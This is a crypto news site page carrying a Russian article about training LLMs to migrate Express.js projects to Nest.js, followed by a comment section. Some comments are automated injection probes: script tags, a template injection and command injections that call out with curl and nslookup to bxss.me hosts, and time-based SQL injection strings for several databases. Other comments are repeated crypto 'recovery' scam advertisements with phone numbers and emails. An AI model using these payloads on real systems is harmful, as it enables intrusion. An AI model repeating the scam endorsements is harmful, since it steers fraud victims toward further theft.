Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

  1. Главная
  2. Новости

Разработка LLM моделей для обновления кода приложений на более высокие версии фреймворков или языков программирования

В этой статье я планирую исследовать, как можно использовать большие языковые модели (LLM) для миграции проектов между различными фреймворками. Применение LLM в задачах на уровне репозитория — это развивающаяся и всё более популярная область. Миграция кода со старых, устаревших фреймворков на новые является одной из ключевых задач в крупных корпоративных проектах.

Актуальность

Миграция проектов на новые фреймворки становится всё более актуальной по мере быстрого развития технологий и изменяющихся требований бизнеса. Устаревшие фреймворки могут ограничивать возможности команды, снижать производительность и увеличивать риски безопасности. С ростом проекта возникает необходимость в масштабируемости и поддерживаемости выбранного фреймворка. Под поддерживаемостью подразумеваются читабельность кода и удобство его обслуживания. Например, в крупных проектах использование чистого JavaScript может привести к ухудшению читаемости и удобства работы с кодом, поэтому многие разработчики переходят на TypeScript, который также обеспечивает защиту от ошибок типизации. В то же время, фреймворки, такие как Express.js, являются un-opinionated и предоставляют разработчикам множество возможностей, что делает их подходящими для начинающих проектов. Однако переход на opinionated фреймворки позволяет масштабировать проект и повышать его консистентность, а также защищает от ошибок.

Таким образом, в многих крупных корпоративных проектах переписывание легаси кода занимает значительную часть времени разработчиков, которое могло бы быть использовано для создания новой функциональности и разработки инновационных решений. В последнее время большие языковые модели (LLM) демонстрируют отличные результаты в генерации кода, и всё больше проектов на основе LLM автоматизируют задачи на уровне репозитория [1], такие как рефакторинг кода, написание юнит-тестов и миграция пакетов. Основываясь на проведенном исследовании [2], оценившем помощь больших языковых моделей (LLM) в миграции кода на новые версии Java, было показано, что разработчики, получающие поддержку от LLM, могут значительно эффективнее выполнять эту задачу. Использование LLM позволяет ускорить процесс миграции, улучшить качество кода и снизить количество ошибок, что делает переход на новые версии более плавным и менее затратным по времени.

Перформанс LLM в трансляции кода

Недавнее исследование [3], посвященное эффективности различных больших языковых моделей (LLM) в переводе кода, показало, что такие модели, как GPT-4 и Claude, достигают 40-80% уровня успеха при решении различных задач перевода и генерации кода. В частности, приведены результаты, согласно которым лучшая LLM смогла успешно перевести код из реальных проектов на Rust в 47% бенчмарков. При этом корректность перевода и перформанс моделей снижались для проектов с более чем 100 строками кода. Эти результаты подчеркивают не только потенциал и возможности языковых моделей в переводе кода, но и существующие лимиты, которые важно учитывать. Существующие модели CodeGen могут служить хорошей основой для будущих решений, так как они демонстрируют хорошие показатели в переводе кода. Однако, учитывая снижение эффективности при работе с большим количеством строк кода, целесообразно рассмотреть возможность разбиения проекта на части и миграции его поэтапно.

Согласно данным проведенного исследования перформанса различных больших языковых моделей [4], можно наблюдать хорошие результаты у GPT-4 и Code Llama-3. На графиках видно, что при работе с большими текстами GPT-4 демонстрирует лучшие показатели, в то время как для решения специфичных задач, особенно связанных с кодом, Code Llama-3 показывает более высокие результаты.

bdaae3f972edf767cd87770147c120a0.png

Выбор фреймворков для миграции

Решение обобщенной задачи миграции с любого фреймворка на любой другой является слишком трудоемким процессом. Однако при более конкретной задаче с выбранными фреймворками появляется возможность настраивать и обучать модель с большей точностью, а также использовать особенности выбранных фреймворков и существующие руководства по миграции проектов.

Во-первых, было решено отказаться от фронтенд-фреймворков, так как в этом случае сложно проводить тестирование и оценку успешности миграции. Хотя существуют хорошие решения для e2e тестирования интерфейсов, такие как Playwright или Hermione, решение задач для бэкенд-фреймворков является более детерминированным и проще в тестировании и оценке производительности.

Во-вторых, необходимо выбирать фреймворки, миграция на которые распространена. Например, миграция с Flask на Django является редким решением, так как эти фреймворки имеют слишком много различий в применении, и миграция между ними происходит нечасто.

Конечным выбором стала миграция с Express.js на Nest.js. Express.js — это un-opinionated, минималистичный фреймворк для приложений на Node.js. Он очень популярен и существует уже много лет, фактически являясь стандартным каркасом для Node.js, поэтому много легаси-кода в энтерпрайзе написано на Express. Благодаря своей минималистичности и функциональности, многие начинающие проекты также используют его.

В то время как Nest.js — это быстро набирающий популярность новый фреймворк для Node.js, который поддерживает TypeScript и является opinionated, что делает его более консистентным и подходящим для больших проектов. Такие возможности, как поддержка Fastify (который быстрее Express), делают его более масштабируемым решением.

Актуальность фреймворков можно оценить, например, по количеству звезд на GitHub, и оба фреймворка, Express.js и Nest.js, в настоящее время являются одними из самых популярных. Интересно отметить, что за последний год Nest.js значительно увеличил свою популярность и по количеству звезд уже обходит Express.js. Это свидетельствует о растущем интересе разработчиков к Nest.js и его функциональным возможностям, что может быть связано с его поддержкой TypeScript и более структурированным подходом к разработке. На момент написания статьи количество звезд на GitHub для Express.js составляет примерно 65K, а для Nest.js — около 68K. Актуальные данные можно посмотреть в гитхабе репозитории со статистикой по Node js фреймворкам [5]

Среди наиболее распространенных методов решения сложных и специфичных задач с использованием LLM выделяются подходы RAG и fine-tuning модели. Эти методы оказывают различное влияние на поведение модели, и их можно применять одновременно. В этой связи давайте подробнее рассмотрим каждый из них.

Retrieval Augmented Generation

Генерация с дополненной выборкой (RAG) — это процесс оптимизации выходных данных большой языковой модели (LLM), при котором перед получением ответа осуществляется обращение к надежной базе знаний за пределами источников обучающих данных.

При миграции кода проект можно разбить на части, так как обработка всего проекта в одном запросе может быть сложной и привести к ухудшению производительности LLM, как мы выяснили ранее. Важно иметь информацию о проекте в целом, и именно эту информацию можно передавать с помощью RAG.
Для предоставления информации о проекте можно использовать различные виды интерпретации кода, такие как:

  • Abstract Syntax Tree (AST): представляет структуру программы в виде дерева, что позволяет анализировать синтаксис и семантику кода.

  • Intermediate Representation (IR): промежуточное представление, которое упрощает анализ и оптимизацию кода.

  • Data Flow: анализирует, как данные перемещаются через программу, что помогает понять зависимости между переменными.

  • Control Flow: показывает порядок выполнения инструкций, что важно для понимания логики программы.

Все эти виды представления программ предоставляют различную информацию, которая может быть использована при миграции проекта.

image

При использовании RAG можно обратиться к наиболее распространенному пайплайну, который активно применяется в различных проектах [8]:

  • Индексация данных: эффективная организация данных для быстрого доступа к ним.

  • Обработка входящих запросов: анализируем запрос клиента, чтобы определить, какие данные необходимо дополнить.

  • Поиск и ранжирование: с помощью алгоритмов поиска извлекаем необходимые данные для улучшения контекста запроса.

  • Дополнение промпта: используя полученные данные, обогащаем оригинальный запрос.

  • Генерация ответа: передаем дополненный промпт модели, которая генерирует ответ. Этот пайплайн позволяет значительно улучшить качество ответов, обеспечивая более точное и контекстуализированное взаимодействие с пользователем.

image
image

Pre-training vs Fine-tuning

Aspect

Pre-training

Fine-tuning

Определение

Обучение на большом объеме немаркированных данных

Адаптация модели под конкретную, определенную задачу

Необходимые данные

Обширный и разнооборазный набор немаркированных текстовых данных

Меньший набор маркированных текстовых данных, специфичных для определенной задачи

Цель

Формирование общих языковых знаний

Специализировать модель под определенную задачу

Процесс

Сбор данных, обучение на большом датасете, предсказание следующего слова/ последовательности слов

Сбор данных под конкретную задачу, модификация последнего слоя модели, обучение на основе новых данных, генерация ответов на основе задач

Модификация модели

Вся модель обучена

Последний слой адаптирован под решение определенной задачи

Вычислительные затраты

Высокие (большой датасет, сложная модель)

Ниже (датасет меньше, файн тюнинг слоев)

Длительность обучения

От пары недель до нескольких месяцев

От пары дней до нескольких недель

Типы Fine-tuning

Unsupervised Fine-tuning

Unsupervised fine-tuning подразумевает использование немаркированных данных. Этот подход часто применяется, когда получение маркированных датасетов может быть затратным или когда нет необходимости в них. Основная цель — адаптация модели к определенной сфере, что позволяет улучшить понимание нюансов и терминологии данной области.
Однако данный метод показывает себя неэффективно в случаях, когда требуется адаптация под конкретную задачу. В нашем случае речь идет о миграции кода с Express.js на Nest.js, и поэтому использование unsupervised fine-tuning будет нецелесообразным.

Supervised Fine-tuning

Supervised fine-tuning — это подход, при котором модель обучается на маркированных данных, адаптированных под конкретную задачу. Поскольку этот метод фокусируется на адаптации к определенной задаче, он будет эффективен для решения нашей проблемы. Однако, несмотря на высокую эффективность, данный метод требует наличия маркированных данных, которые могут быть сложными и затратными в получении.

Instruction Fine-tuning

Также стоит рассмотреть технику, часто используемую для адаптации моделей под конкретные задачи, — это instruction fine-tuning. Этот подход подразумевает использование данных, содержащих инструкции для решения поставленных задач. В отличие от традиционного supervised fine-tuning, который в основном фокусируется на парах input и output, в данном методе мы также можем передавать контекст задачи, что способствует улучшению понимания нюансов и особенностей.

Подготовка данных

The Stack

Можно использовать существующие открытые датасеты, такие как The Stack [9] от BigCode Project. Этот специализированный датасет предназначен для обучения больших языковых моделей для работы с кодом и содержит более 3 ТБ кода, включая около 500 ГБ кода на JavaScript и более 100 ГБ на TypeScript. В нашей задаче необходимо получить датасет кода на Express.js, переведенного на Nest.js. Файлы с кодом, использующим фреймворк Express.js, можно определить по строкам вида:

require('express');
import ... from 'express';

Таким образом, мы можем извлечь из данного датасета код на Express.js и сформировать набор input-значений для обучения.

GitHub

У GitHub есть удобное REST API и CLI для работы с репозиториями. По тегам express и javascript на GitHub хранится более 50 тысяч репозиториев. В данном случае это полноценные проекты на фреймворке Express.js, а не просто набор кода без контекста, что придает этому подходу значительные преимущества. С помощью GitHub REST API можно извлечь репозитории по тегам express и javascript, получив таким образом датасет проектов на Express.js.
Преимущество данного подхода заключается в том, что полученный датасет можно использовать не только для тестирования модели, но и, например, для обучения с подкреплением, что мы рассмотрим далее.

Подготовка ответов

Имея датасет с кодом на Express.js, необходимо создать набор ответов, а именно переведенный код на Nest.js. Один из вариантов — это ручное составление ответов, когда разработчики самостоятельно пишут код. Однако этот подход является неэффективным и затратным по времени. Второй вариант — автоматизировать процесс перевода. Если бы задача перевода с одного фреймворка на другой была настолько тривиальной, что ее можно было бы решить простыми алгоритмами без использования больших языковых моделей, мы бы не занимались этой проблемой. Поэтому мы будем рассматривать генерацию ответов с помощью LLM.

Синтетическая генерация данных

Если бы задача перевода с одного фреймворка на другой была настолько тривиальной, что ее можно было бы решить простыми алгоритмами без использования больших языковых моделей, мы бы не занимались этой проблемой. Поэтому мы будем рассматривать генерацию ответов с помощью LLM. Есть две основные техники:

Prompt Engineering

С помощью составления специальных промптов, которые инструктируют LLM, можно генерировать датасет ответов на основе существующего датасета input‑значений, а также полностью создавать все данные, включая входные. Этот подход можно дополнительно улучшить, применяя различные методы валидации ответов. Это может включать как простую проверку кода на наличие ошибок, так и запуск юнит‑тестов, если они доступны.

Multi-Step Generation

Более интересный вариант генерации с использованием LLM — это отправка итеративных запросов к модели, которые постепенно приводят к получению ответа. Например, в нашей задаче можно разделить процесс на этапы, такие как рефакторинг кода, добавление комментариев, выделение маршрутов, сервисов, мидлварин и т. д. Этот метод позволяет получать данные высокого качества, а также инструкции и описания всех шагов, которые можно использовать для instruction fine‑tuning. В данном подходе также можно внедрить валидацию, чтобы повысить качество данных.

GPT-migrate

Существует открытое решение GPT‑Migrate [10], которое использует Prompt Engineering и модель GPT-4 для автоматической миграции кода между фреймворками. Это решение также генерирует юнит‑тесты для полученного кода. На данный момент проект находится на стадии alpha‑разработки и не готов к использованию в production, так как на сложных бенчмарках и с трудными языками он требует человеческой помощи. Тем не менее, проект демонстрирует хорошую архитектуру промптов и показывает неплохие результаты с «легкими» языками, такими как Python и JavaScript, на простых бенчмарках.

Таким образом, данное решение может быть использовано для подготовки датасета ответов. Одним из направлений для улучшения является повышение точности модели, что можно достичь через дообучение. В будущем можно воспользоваться бенчмарками этого проекта и их методами юнит‑тестирования для оценки и тестирования полученной модели.

Reinforcement Learning

Еще одним подходом, используемым для дообучения моделей, является Reinforcement Fine-Tuning. Этот метод подразумевает использование среды, которая оценивает работу модели, на основе чего происходит ее обучение. Данный подход хорошо подходит для нашей задачи, так как в качестве среды могут выступать проверки на ошибки компиляции и юнит-тестирование.

34458bd325fe6b6137f643c3853bb046.webp

Сравнение использования этого метода с обычным supervised fine-tuning показывает, что результаты значительно выше.

69eb7825198eb1cd001c25fb8e458b7e.webp

Evolution Startegies

В качестве альтернативы методу обучения с подкреплением можно рассмотреть подход Evolution Strategies. Этот метод позволяет обучать модель без использования обратного распространения ошибки (backpropagation) и предоставляет возможность распараллеливания процесса обучения. Награду можно рассчитывать на основе предупреждений, ошибок в рантайме и результатов юнит-тестирования.

Исследование [12] показывают, что алгоритм Evolution Strategies в некоторых случаях обучается быстрее и демонстрирует результаты, не уступающие результатам методов обучения с подкреплением. Учитывая возможность распараллеливания обучения, этот подход может значительно оптимизировать затраты времени на обучение. В данном исследовании в качестве метода обучения с подкреплением рассматривался алгоритм TRPO (Trust Region Policy Optimization), а также задача MuJoCo Control Task.

29db2d37f68957701bf075625b470604.webp

План работы

Необходимо собрать датасет входных данных, более детально рассмотрев подходы к парсингу существующего датасета The Stack и репозиториев на GitHub. Все собранные данные будут полезны; например, датасет проектов с GitHub окажется ценным при тестировании и обучении с подкреплением.

Далее следует применить supervised fine-tuning с инструкциями и оценить полученные результаты. В завершение можно использовать методы Reinforcement Learning и Evolution Strategies для сравнения результатов, либо сосредоточиться только на Evolution Strategies, так как этот метод менее затратен.

Также необходимо провести тестирование модели с пмощью GPT-Migrate. При достижении хороших показателей модели возможно реализовать фронтенд в виде плагина для IDE.

Источники

[1] CodePlan: Repository-level Coding using LLMs and Planning. Ramakrishna Bairi, Atharv Sonwane, Aditya Kanade, Vageesh D C, Arun Iyer, Suresh Parthasarathy, Sriram Rajamani, B. Ashok, Shashank Shet (https://arxiv.org/pdf/2309.12499)

[2] Evaluating Human-AI Partnership for LLM-based Code Migration (https://assets.amazon.science/bc/ec/8213526e4857b6fa09af53b10c66/evaluating-human-ai-partnership-for-llm-based-code-migration.pdf)

[3] Towards Translating Real-World Code with LLMs: A Study of Translating to Rust. Hasan Ferit Eniser, Hanliang Zhang, Cristina David, Meng Wang, Maria Christakis, Brandon Paulsen, Joey Dodds, Daniel Kroening (https://arxiv.org/pdf/2405.11514)

[4] (https://arxiv.org/pdf/2407.21783)

[5] (https://github.com/VanoDevium/node-framework-stars)

[6] Large Language Models As Evolution Strategies. Robert Tjarko Lange, Yingtao Tian, Yujin Tang (https://arxiv.org/pdf/2312.10997)

[7] https://blog.gopenai.com/leveraging-large-language-models-for-automated-code-migration-and-repository-level-tasks-part-ii-6377e7a76c8e

[8] The Ultimate Guide to Fine-Tuning LLMs from Basics to Breakthroughs: An Exhaustive Review of Technologies, Research, Best Practices, Applied Research Challenges and Opportunities. Venkatesh Balavadhani Parthasarathy, Ahtsham Zafar, Aafaq Khan, Arsalan Shahid (https://arxiv.org/pdf/2408.13296)

[9] The Stack: 3 TB of permissively licensed source code. Denis Kocetkov, Raymond Li, Loubna Ben Allal, Jia Li, Chenghao Mou, Carlos Muñoz Ferrandis, Yacine Jernite, Margaret Mitchell, Sean Hughes, Thomas Wolf, Dzmitry Bahdanau, Leandro von Werra, Harm de Vries (https://arxiv.org/pdf/2211.15533)

[10] GPT-Migrate (https://github.com/joshpxyne/gpt-migrate/tree/main)

[11] REFT: Reasoning with REinforced Fine-Tuning. Trung Quoc Luong∗, Xinbo Zhang∗, Zhanming Jie*, Peng Sun†, Xiaoran Jin, Hang Li (https://arxiv.org/pdf/2401.08967v1)

[12] Evolution Strategies as a Scalable Alternative to Reinforcement Learning. Tim Salimans, Jonathan Ho, Xi Chen, Szymon Sidor, Ilya Sutskever (https://arxiv.org/pdf/1703.03864)

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

